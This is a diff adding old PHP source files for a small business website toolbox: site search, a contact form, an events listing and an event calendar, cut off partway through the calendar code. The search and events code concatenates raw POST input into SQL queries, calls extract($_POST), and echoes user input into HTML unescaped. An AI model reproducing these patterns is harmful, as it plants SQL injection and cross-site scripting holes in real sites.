+ $busf[] = "b.email".$this->sr;
+ $buscatf[] = "bc.category".$this->sr;
+ $buscatf[] = "bc.description".$this->sr;
+ $buscatf[] = "bc.intro".$this->sr;
+ $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+ FROM (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id))
+ LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+ WHERE (";
+ $ebus = implode(" OR ",$busf);
+ $ebuscat = implode(" OR ",$buscatf);
+ $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+ }
+
+ /*! @function set_news
+ @discussion Sets the newsletter query for the search
+ @param none
+ @result none
+ */
+ function set_news()
+ {
+ $newsf[] = "n.title".$this->sr;
+ $newsf[] = "n.header".$this->sr;
+ $newsf[] = "n.description".$this->sr;
+ $newsblockf[] = "nb.header".$this->sr;
+ $newsblockf[] = "nb.description".$this->sr;
+ $this->newsyquery = "SELECT n.*, nb.*
+ FROM news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id)
+ WHERE ";
+
+ $enews = implode(" OR ",$newsf);
+ $enewsblock = implode(" OR ",$newsblockf);
+ $this->newsyquery .= $enews." OR ".$enewsblock;
+ }
+
+ /*! @function set_query
+ @discussion calls the queries for events,bus,and the newsletter
+ @param none
+ @result none
+ */
+ function set_queries()
+ {
+ $this->set_events();
+ $this->set_bus();
+ $this->set_news();
+ }
+
+ /*! @function posted
+ @discussion Sets sr variable with the POST var search
+ @param none
+ @result none
+ */
+ function posted()
+ {
+ if($_POST && $_POST["search"])
+ {
+ //$this->show_form();
+ if($_POST["search"])
+ $this->sr = " ~* '".$_POST["search"]."'";
+ $this->set_queries();
+ $this->execute_search();
+ }
+ else
+ {
+ //$this->show_form();
+ }
+ }
+
+ /*! @function show_form
+ @discussion Outputs the form for the search
+ @param none
+ @result none
+ */
+ function show_form()
+ {
+ ?>
+ <script src="verify.js"></script>
+ <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+ this.search.optional = false;
+ this.search.r = 'Search Field';
+ return(verify(this));
+ ">
+ <select name="type">
+ <?
+ //$type[] = "Events";
+ //$type[] = "Categories";
+ //$type[] = "Newsletter";
+ //$general = 0;
+ foreach($this->pages as $key=>$data)
+ {
+ if(!is_numeric($key))
+ {
+ echo "<option value=\"$key\">".ucfirst($key);
+ }
+ else
+ {
+ $general = 1;
+ }
+ }
+ if($general)
+ echo "<option value=\"general\">General Categories";
+ ?>
+ </select>
+ <input name="search">
+ <input type="submit" name="Command" value="Search">
+ </form>
+ <?
+ }
+
+ /*! @function execute_search
+ @discussion Sends the queries to to database
+ @param none
+ @result none
+ */
+ function execute_search()
+ {
+ extract($_POST);
+ $qs = "";
+ switch($this->type)
+ {
+ case "events"://Events
+ $qs = $this->eventquery;
+ $qs .= " AND edate > CURRENT_DATE";
+ $href = $this->pages["events"];
+ break;
+
+ case "general"://General
+ $qs = $this->bussyquery;
+ break;
+
+ case "newsletter"://Library
+ $qs = $this->newsyquery;
+ $href = $this->pages["newsletter"];
+ break;
+
+ default:
+ html_error("All",1);
+ break;
+ }
+
+ //echo $qs;
+ $this->result = db_auto_get_data($qs,CONN_STR);
+ if($this->result != "")
+ {
+ echo "<div class=\"bodytext\"> Found ".count($this->result);
+ if(count($this->result)>1)
+ echo " matches for \"".$search."\"";
+ else
+ echo " match for \"".$search."\"";
+ echo "</div><br>";
+ }
+ else
+ {
+ echo "<div class=\"bodytext\"> No Matches</div>";
+ }
+ if($this->type == "general")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ $this->threads[] = array(
+ "ID" => $data[catid],
+ "content" => $data[category],
+ "parent" => $data[parent]
+ );
+ }
+ }
+ }
+ elseif($this->type == "events")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);
+ }
+ }
+ }
+ elseif($this->type == "newsletter")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);
+ }
+ }
+ }
+
+ if(is_array($this->threads))
+ {
+ $this->get_parentshow();
+ $output = $this->printout($this->threads);
+ echo $output;
+ }
+ }
+
+ /*! @function get_parent
+ @discussion Finds the parent. Will traverse up until it reaches top of
+ chain.
+ @param id - The catid to find parent of
+ @result Parent - The parent id
+ */
+ function get_parent($id)
+ {
+ if($id == 0)
+ return(0);
+ if($this->parentshow[$id]['parent'] != "")
+ {
+
+ $test = $this->parentshow[$id]['parent'];
+ if($test === 0)
+ {
+ return($id);
+ }
+ else
+ {
+ $id = $this->get_parent($test);
+ }
+ if($id == 0)
+ return($test);
+ return($id);
+ }
+ return($id);
+ }
+
+ /*! @function get_parentshow
+ @discussion Sets the array parentshow with all categories.
+ @param none
+ @result none
+ */
+ function get_parentshow()
+ {
+ $qs = "SELECT id,parent,category
+ FROM bus_category";
+
+ $parentrow = db_auto_get_data($qs,CONN_STR);
+
+ foreach($parentrow as $key=>$value)
+ {
+ $this->parentshow[$value[id]] = $value[parent];
+ }
+ }
+
+ /*! @function printout
+ @discussion Print the results out as links to their pages.
+ @param none
+ @result none
+ */
+ function printout()
+ {
+ if(is_array($this->threads))
+ {
+ foreach($this->threads as $key=>$value)
+ {
+ $p = $this->get_parent($value[ID]);
+ if($p!=1)
+ {
+ $string .= "<a class=\"link2\"
+ href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+ }
+ else
+ {
+ $string .= "<a class=\"link2\"
+ href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+ }
+ }
+ echo $string;
+ }
+ }
+}
+
+/*! @class contact_form.
+ creates a contact form with an updatable fields array.
+ */
+class contact_form {
+ var $DB_fields; // array for the needed fields
+ var $CDB; // database object
+ var $email; // the email address. if blank will not send out
+ var $table_name; // database table name.
+ var $styleClass;
+
+ function contact_form()
+ {
+ $this->CDB =& new GLM_DB();
+ $this->set_DB_fields();
+ $this->set_int_array();
+ $this->email = OWNER_EMAIL;
+ $this->table_name = 'customer';
+ $this->styleClass = "content";
+ $this->contact_db = 1; // if they have contact database or not
+ }
+
+ function set_DB_fields()
+ {
+ $DB_fields[] = array( name => "fname",title => "First Name",type => "text",size=>35,req=>1);
+ $DB_fields[] = array( name => "lname",title => "Last Name",type => "text",size=>35,req=>1);
+ $DB_fields[] = array( name => "add1",title => "Address 1",type => "text",size=>35);
+ $DB_fields[] = array( name => "add2",title => "Address 2",type => "text",size=>35);
+ $DB_fields[] = array( name => "city",title => "City",type => "text",size=>30);
+ $DB_fields[] = array( name => "state",title => "State",type => "text",size=>2);
+ $DB_fields[] = array( name => "zip",title => "Zip",type => "text",size=>5);
+ $DB_fields[] = array( name => "email",title => "Email",type => "text",size=>35,req=>1);
+ $DB_fields[] = array( name => "phone",title => "Phone",type => "text",size=>20);
+ $DB_fields[] = array( name => "fax",title => "Fax",type => "text",size=>20);
+ $DB_fields[] = array( name => "comments",title =>"Comments",type => "desc");
+ $DB_fields[] = array( name => "mail_ok",title => "Mail Ok?",type => "radio");
+ //$DB_fields[] = array( name => "interest",title => "Interest",type => "interest");
+ $this->DB_fields = $DB_fields;
+ }
+
+ function set_int_array()
+ {
+ $int_array = array(
+ "capital_campaign" => "Capital Campaign Information",
+ "membership" => "Membership Information",
+ "class_registration" => "Class Registration",
+ "ticket_sales" => "Ticket Sales",
+ "no_preference" => "No Preference",
+ );
+ $this->int_array = $int_array;
+ }
+
+ function interest($field)
+ {
+ echo "<table><tr>";
+ $count = 0;
+ foreach($this->int_array as $key=>$value)
+ {
+ if($count==0)
+ echo "<td>";
+ echo "<input type=\"checkbox\" name=\"interest_$count\" value=\"$key\"";
+ if(strstr($field,$key))
+ echo " checked";
+ echo ">$value<br>";
+ if($count==5)
+ echo "</td><td>";
+ if($count==11)
+ echo "</td>";
+ $count++;
+ }
+ echo "</tr></TABLE>";
+ }
+
+
+ function display_form($row = "",$error=NULL)
+ {
+ if(is_array($row))
+ {
+ foreach($row as $k=>$v)
+ {
+ $row[$k] = trim(stripslashes($v));
+ }
+ }
+ echo "<table cellspacing=0 cellpadding=4 width=350 align=center border=0>";
+ echo "<form action=\"$GLOBAL[PHP_SELF]\" method=\"POST\">";
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value[type] == "text")
+ {
+ ?>
+ <tr><td class="<?=$this->styleClass?>" align="right" nowrap><?
+ if($value[req])
+ echo "<font color=red>*";
+ echo $value[title];
+ if($value[req])
+ echo "</font>";
+ ?>
+ </td>
+ <td><input name="<?echo $value[name]?>"
+ value="<?echo $row[$value[name]]?>" maxlength=<?= $value[size]?> size=<?= $value[size]?>></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "static")
+ {
+ ?>
+ <tr><td class="<?=$this->styleClass?>" align="right"><?echo $value[title]?></td>
+ <td><?echo $row[$value[name]]?></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "interest")
+ {
+ ?>
+ <tr><td class="<?=$this->styleClass?>" align="right"><?echo $value[title]?></td>
+ <td><?$this->interest($row[$value[name]])?></td>
+ </tr>
+ <?
+ }
+ elseif($value[type] == "img")
+ {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "")
+ {
+ echo "<tr><td class=\"<?=$this->styleClass?>2\" align=\"right\">Current Image:</td>";
+ echo "<td><img src=\"".MIDSIZED.$row[$value[name]]."\">
+ </td>
+ </tr>
+ <tr>
+ <td class=\"<?=$this->styleClass?>2\" align=\"right\">Delete this image:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"<?=$this->styleClass?>\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "file")
+ {
+ ?>
+ <tr></tr>
+ <?
+ echo "<input type=\"hidden\" name=\"old".$value[name]."\"
+ value=\"".$row[$value[name]]."\">";
+ if($row[$value[name]] != "")
+ {
+ echo "<tr><td class=\"$this->styleClass\" align=\"right\">Current File:</td>";
+ echo "<td>".$row[$value[name]]."
+ </td>
+ </tr>
+ <tr>
+ <td class=\"$this->styleClass\" align=\"right\">Delete this File:</td>
+ <td>
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"1\">Yes
+ <input type=\"radio\" name=\"delete".$value[name]."\" value=\"2\" CHECKED>No
+ </td>
+ </tr>";
+ }
+ echo "<tr><td class=\"$this->styleClass\" align=\"right\">New $value[title]:</td>";
+ echo "<td><input type=\"file\" name=\"".$value[name]."\"></td>";
+ echo "</tr>";
+ }
+ elseif($value[type] == "desc")
+ {
+ if($value[name] == "description")
+ {
+ echo "<tr><td colspan=2><hr noshade></td></tr>";
+ echo "<tr><th colspan=2>Description and Images</th></tr>";
+ }
+ echo "<tr><td class=\"$this->styleClass\"
+ align=\"right\">$value[title]:</td>"; echo "<td><textarea
+ name=\"$value[name]\" rows=5
+ cols=30>".$row[$value[name]]."</textarea>"; echo "</tr>"; }
+ elseif($value[type] == "hide") { echo "<input type=\"hidden\"
+ name=\"".$value[title]."\"
+ value=\"".$row[$value[name]]."\">"; }
+ elseif($value[type] == "radio") { echo "<tr><td
+ class=\"$this->styleClass\"
+ align=\"right\">$value[title]:</td>"; echo "<td
+ class=\"$this->styleClass\"><input
+ type=\"radio\" name=\"".$value[name]."\"
+ value=\"t\""; if($row[$value[name]]!="f" ) echo
+ " checked"; echo ">Yes"; echo "<input
+ type=\"radio\" name=\"".$value[name]."\"
+ value=\"f\""; if($row[$value[name]]=="f") echo
+ " checked"; echo ">No</td>"; echo "</tr>"; } }
+ echo "<tr><td colspan=\"2\"
+ align=\"center\"><input type=\"submit\"
+ name=\"Command\" value=\"Send\"></td></tr>";
+ echo "</form>"; echo "</table>"; }
+
+ function form_process($row="") { if(is_array($row)) { foreach($row as
+ $k=>$v) { $row[$k] = trim(stripslashes($v)); } } $in_fields[] =
+ create_date; $in_vars[] = date("m-d-Y");
+ foreach($this->DB_fields as $key=>$value) { if($value["req"] == 1
+ && $row[$value["name"]] == "") { $error["$key"] = 1; }
+ if($value['name']!="comments") { $in_fields[] = $value['name'];
+ $in_vars[] = addslashes(trim($row[$value['name']])); } }
+ if(count($error) > 0) return($error); if(is_array($in_fields))
+ $infds = implode(",",$in_fields); if(is_array($in_vars))
+ $invars = implode("','",$in_vars); $query = "INSERT
+ INTO ".$this->table_name." ($infds) VALUES
+ ('$invars')"; if($this->contact_db)
+ $this->CDB->db_auto_exec($query);
+ // adding comments again
+ $in_fields[] = "comments"; $in_vars[] = $row['comments'];
+ if($this->email!="") {
+ //mail the contact info to mail address.
+ $body = ''; foreach($this->DB_fields as $key=>$value) {
+ if($value[name]=="mail_ok")
+ {
+ $body .= $value['title'].": ";
+ $body .= ($row[$value[name]]=="t")?"Yes":"No";
+ $body .= "\n";
+ }
+ elseif($row[$value['name']] != '')
+ $body .= $value['title'].": ".$row[$value[name]]."\n";
+ }
+ $subject = "new contact at ".SITENAME;
+ $headers = "From: ".OWNER_EMAIL."\n"
+ . "Reply-To: <nobody>".OWNER_EMAIL."\n";
+
+ mail($this->email,$subject,$body,$headers);
+ echo '<div style="font-size:14px;">Thank You</div>';
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+/******************************************************************************
+ *
+ * $Id: glm-Events-2-0.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+ *
+ ******************************************************************************
+ *
+ * Gaslight Media Toolbox output
+ * glm-Events-2-0
+ * copyright 2001
+ * Author:Steve Sutton
+ *
+ ******************************************************************************/
+/******************************************************************************
+ *
+ * Instructions -
+ * three arrays are used
+ * $row[$i][fields]
+ * $date_begin[$i][fields]
+ * $date_end[$i][fields]
+ *
+ ******************************************************************************/
+//include("setup.phtml");
+echo '<link rel="stylesheet" type="text/css" href="events.css">';
+if(!$dbd = db_connect())
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+$month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+// Set up the $selection array to get a query box use only item fields
+$selection = array( );
+// Month part do not change
+$qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate > CURRENT_DATE
+ AND visable = 't'
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ ORDER BY bdate ASC;";
+ $result = db_Exec($dbd,$qs);
+if(!$result)
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+echo "<br><a name=\"event\"></a>";
+if($pink)
+ {
+ echo "<h1>Pink Pony Events</h1>";
+ }
+echo "<form action=\"$PHP_SELF#event\" method=\"POST\">";
+echo '<input type="hidden" name="catid" value="11">';
+for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+// Selections part
+while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ AND edate >= CURRENT_DATE
+ ORDER BY $key;";
+ $result = db_exec($dbd,$qs);
+ if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+ echo "<select name=\"$key\">
+ <option value=\"All\" selected>Show All $value\n";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+// topic part
+$qs = "SELECT
+DISTINCT ON (t.descr) t.id,t.descr
+FROM topic t, event e
+WHERE e.visable = 't'
+AND e.edate >= CURRENT_DATE
+AND e.topicid = t.id
+AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY t.descr";
+$result = db_exec($dbd,$qs);
+if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+echo "<select name=\"topic\">
+<option value=\"All\" selected>Show All Topics\n";
+
+for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "")
+ {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+echo "</select>\n";
+// Month part (output)
+$month_qs = "SELECT
+DISTINCT bdate
+FROM event
+WHERE visable = 't'
+AND edate >= CURRENT_DATE
+AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)
+ORDER BY bdate;";
+
+$result = db_exec($dbd, $month_qs);
+if(!$result) html_error(DB_ERROR_MSG.$month_qs,0);
+echo "<select name=\"month\">
+<option value=\"All\" selected>Show All Months\n";
+if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+
+?>
+<!--- #EndCalendarofEventsSearch -->
+</select>
+<input type="SUBMIT" value="GO" name="SUBMIT">
+</form>
+ <?
+if(!isset($month))
+ {
+ $month = "All";//date("m Y");
+ }
+if(!$_POST["topic"] && !$_POST["month"])
+ {
+ $stick = " LIMIT 1 OFFSET 1";
+ }
+$qs = "SELECT header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate::date as sdate, edate::date as edate,
+ btime,etime, descr,loc,contact,email,url,img,event.id
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ AND (hotel_id = ".HOTEL_ID." OR hotel_id = 0)";
+ if(isset($topic) && $topic != "All")
+ {
+ $qs .= "\nAND topicid = $topic";
+ }
+if($month != "All")
+ {
+ $m = substr($month,0,2);
+ $y = substr($month,3,4);
+ $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+ $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+ $qs .= "\nAND edate >= '$smonth'
+ AND bdate <= '$emonth'";
+ }
+$qs .= "\nORDER BY bdate ASC $stick";
+if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+while($result = pg_fetch_array($res))
+ {
+ $datares[] = $result;
+ }
+if(is_array($datares))
+ {
+ foreach($datares as $eventkey=>$eventval)
+ {
+ //$eventrow["$eventval[mon]"][] = $datares[$eventkey];
+ for($i = (int)$eventval["mon"];$i <= (int)$eventval["mon2"];$i++)
+ {
+ // if monh exists then only show that month
+ if($month == "All" || ( (int)$month == (int)$i ) )
+ {
+ $eventrow["$i"][] = $datares[$eventkey];
+ }
+ }
+ }
+ }
+if(is_array($eventrow))
+ {
+ $display_month = "";
+ foreach($eventrow as $ekey=>$row)
+ {
+ if((int)$display_month != (int)$ekey)
+ {
+ echo '<h1 class="eventh1">'.date("F",mktime(0,0,1,$ekey,1,date("Y"))).'</h1>';
+ }
+ $display_month = (int)$ekey;
+ foreach($row as $key=>$value)
+ {
+ if($value['sdate'])
+ {
+ $sdate = strtotime($value["sdate"]);
+ $edate = strtotime($value["edate"]);
+ $thedate = GLM_TEMPLATE::getEventDate($sdate,$edate,"timestamp");
+ }
+ else
+ {
+ $thedata = '';
+ }
+ if($value['img'])
+ {
+ $img = "<img src=\"".MIDSIZED.$value['img']."\" align=\"right\" vspace=\"5\" hspace=\"7\">";
+ }
+ else
+ {
+ $img = "";
+ }
+ if($value['email'] && $value['contact'])
+ {
+ $email = "Contact: <a class=\"link\" href=\"mailto:".$value['email']."\">".$value['contact']."</a><br>";
+ }
+ elseif($value['email'] && !$value['contact'])
+ {
+ $email = "Contact:<a class=\"link\" href=\"mailto:".$value['email']."\">".$value['email']."</a><br>";
+ }
+ elseif($value['contact'] && !$value['email'])
+ {
+ $email = "Contact:>".$value['contact']."<br>";
+ }
+ else
+ {
+ $email = "";
+ }
+ if($value['url'])
+ {
+ $url = "<div class=\"eventurl\">Web Site: <a class=\"link\" href=\"http://".$value['url']."\"
+ target=\"_BLANK\">".$value['url']."</a></div>";
+ }
+ else
+ {
+ $url = "";
+ }
+ if($value['btime'] && $value['etime'])
+ {
+ $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])." To ".GLM_TEMPLATE::formatToTime($value['etime'])."<br>";
+ }
+ elseif($value['btime'] && !$value['etime'])
+ {
+ $time = "Time: ".GLM_TEMPLATE::formatToTime($value['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ if($img)
+ {
+ echo $img;
+ }
+ echo "<div class=\"eventheader\"><b>".$value['header']."</b></div>";
+ echo '<div><span class="eventdate">Date: </span>'.$thedate.'</div>';
+ echo "<div class=\"text\">".$time."</div>";
+ if($value['topic'])
+ {
+ echo "<div class=\"text\">Topic:".$value['topic']."</div>";
+ }
+ if($value['loc'])
+ {
+ echo '<span class="eventloc">Location: </span><span
+ class="eventvalue">'.$value['loc']."<span><br>";
+ }
+ echo $email."<div class=\"text\">";
+ if($value['descr'])
+ {
+ echo nl2br($value['descr']);
+ }
+ echo $url."<br clear=\"all\">";
+ //if(!$eventid)
+ //echo "</div><div class=\"homeeventmore\"><a
+ // href=\"events.phtml?pink=$pink&eventid=$value[id]\">details...</a></div><br clear=\"all\">";
+ }
+ }
+ }
+?>
--- /dev/null
+<?
+/*************************************************************************************
+ *
+ * $Id: glm-Events-calendar-2-0.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+ *
+ ************************************************************************************
+ *
+ * Event Calendar display "eventcalendar.inc"
+ * Author: Steve Sutton
+ * Copyright Gaslight Media(R)
+ *
+ ************************************************************************************
+ *
+ * For use with glm-Events-2-0
+ *
+ ************************************************************************************/
+//include_once("setup.phtml");
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+$dbd = db_connect(CONN_STR);
+function lastDayOfMonth($timestamp = ''){
+ if($timestamp=='') $timestamp=time();
+ return(
+ mktime(0,0,0,
+ date("m",$timestamp)+1,
+ 1,
+ date("Y",$timestamp)
+ )-3600*24);
+}
+
+function firstDayOfMonth($timestamp=''){
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0,
+ date("m",$timestamp),
+ 1,
+ date("Y",$timestamp)
+ ));
+}
+if(!$year)
+ {
+ $year = date("Y");
+ }
+if(!$month || $month == "All")
+ {
+ $month = date("n");
+ }
+if(ereg("^0([0-9]).*",$month,$part))
+ $month = $part[1];
+$st = mktime(0,0,0,$month,1,$year);
+$starting = date("m-d-Y",firstDayOfMonth($st));
+$ending = date("m-d-Y",lastDayOfMonth($st));
+// Topic is disabled for the calendar view output.
+/* if(isset($topic) && $topic != "All")
+{
+ $addpart .= " AND topicid = $topic ";
+} */
+
+$query = "SET DATESTYLE TO 'SQL,US';
+SELECT id,header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't'";
+$query .= "AND bdate <= '$ending'
+ AND edate >= '$starting' $addpart";
+$query .= "ORDER BY bdate DESC,btime ASC";
+$events_data = db_auto_get_data($query,CONN_STR);
+if(is_array($events_data))
+ {
+ foreach($events_data as $key=>$row)
+ {
+ $daysow = (int)$row["daysow"];
+ $mon = (int)$row["mon"];
+ $day = (int)$row["day"];
+ $yr = (int)$row["yr"];
+ $mon2 = (int)$row["mon2"];
+ $day2 = (int)$row["day2"];
+ $yr2 = (int)$row["yr2"];
+ $sdate = mktime(0,0,30,$mon,$day,$yr);
+ $edate = mktime(0,0,30,$mon2,$day2,$yr2);
+ for($d=$day;$d<32;$d++)
+ {
+ // find the current_doyow
+ //echo "current day = $d<br>";
+ $cur_dow = date("w",mktime(0,0,30,$mon,$d,$yr));
+ switch($cur_dow)
+ {
+ case 0:
+ $cur_dow = 1;
+ break;
+ case 1:
+ $cur_dow = 2;
+ break;
+ case 2:
+ $cur_dow = 4;
+ break;
+ case 3:
+ $cur_dow = 8;
+ break;
+ case 4:
+ $cur_dow = 16;
+ break;
+ case 5:
+ $cur_dow = 32;
+ break;
+ case 6:
+ $cur_dow = 64;
+ break;
+ }
+ $date = date("m-d-Y",mktime(0,0,30,(int)$mon,(int)$d,(int)$yr));
+ $daysinmonth = date("t",mktime(0,0,30,$mon,$d,$yr));
+ $time = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $starttime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $endtime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ if( $row["reacur"] != "t")
+ {
+ if($starttime<=$time && $endtime>=$time )
+ $newdata["$date"][] = $row;
+ }
+ elseif((int)$cur_dow&$daysow)
+ {
+ //echo $cur_dow."<br>";
+ if($edate>=$time && $sdate<=$time )
+ $newdata["$date"][] = $row;
+ }
+ if($row["reacur"]=="" || $row["reacur"]=="f")
+ {
+ $d = 32;
+ break;
+ }
+ if($mon2>$mon && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ $mon=1;
+ }
+ if($yr2>$yr && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ $mon=1;
+ }
+ if($yr2>$yr && $mon==12)
+ {
+ $d=0;
+ $mon=0;
+ $yr++;
+ }
+ }
+ }
+ }
+$GLOBALS['newdata'] = $newdata;
+//echo '<pre>';
+// print_r($newdata);
+//echo '</pre>';
+function show_event_headers($date){
+ global $newdata;
+ if(ereg("([0-9]{1,2})[-/]([0-9]{1,2})[-/]([0-9]{4})",$date,$dpart))
+ {
+ $month = (int)$dpart[1];
+ $year = (int)$dpart[3];
+ }
+ if(!is_array($newdata[$date]))
+ return(false);
+ else{
+ foreach($newdata[$date] as $num=>$data){
+ $data2[] = '<a href="index.phtml?month='.$month.'&year='.$year.'&eventid='.$data[id].'">'.$data[header].'</a>';
+ }
+ $output = implode("<br>",$data2);
+ echo $output;
+ }
+}
+function data( $month, $day, $year ) {
+ global $newdata;
+ if($month < 10)
+ $month = '0'.$month;
+ if((int)$day < 10)
+ $day = '0'.$day;
+ $date = $month.'-'.$day.'-'.$year;
+ //echo "date = $date<br>";
+ if($newdata[$date]){
+ show_event_headers($date);
+ }
+ else
+ {
+ return(false);
+ }
+}
+$name_month = array (
+ 1 => "January",
+ 2 => "Febuary",
+ 3 => "March",
+ 4 => "April",
+ 5 => "May",
+ 6 => "June",
+ 7 => "July",
+ 8 => "August",
+ 9 => "September",
+ 10 => "October",
+ 11 => "November",
+ 12 => "December"
+ );
+function calendar( $month, $year, $size, $href ,$href2) {
+ global $RIGHTLINK,$LEFTLINK;
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+ // Change to month/year to display
+ if( !isset( $month ) )
+ $month = date('m');
+ if( !isset( $year ) )
+ $year = date('Y');
+ $next = $month +1;
+ $next_year = $year;
+ $prev = $month -1;
+ $prev_year = $year;
+ if( $next == 13 )
+ {
+ $next = 1;
+ $next_year++;
+ }
+ if( $next == 0 )
+ {
+ $next = 12;
+ $next_year--;
+ }
+ if( $prev == 13 )
+ {
+ $prev = 1;
+ $prev_year++;
+ }
+ if( $prev == 0 )
+ {
+ $prev = 12;
+ $prev_year--;
+ }
+ $prev_month = '<a href="'.$href.$prev.'&year='.$prev_year.'">'.$LEFTLINK.'</a>';
+ $next_month = '<a href="'.$href.$next.'&year='.$next_year.'">'.$RIGHTLINK.'</a>';
+ // How to display the titles on the header of the calendar
+ if( $size == 2 )
+ {
+ $height = 50;
+ $width = 60;
+ $table_width = 550 ;
+ $week_titles = array
+ (
+ 0 => "Sunday",
+ 1 => "Monday",
+ 2 => "Tuesday",
+ 3 => "Wednesday",
+ 4 => "Thursday",
+ 5 => "Friday",
+ 6 => "Saturday"
+ );
+ }
+ if( $size == 1 )
+ {
+ $height = 1;
+ $width = 1;
+ $table_width = 100;
+ $week_titles = array
+ (
+ 0 => "S",
+ 1 => "M",
+ 2 => "T",
+ 3 => "W",
+ 4 => "T",
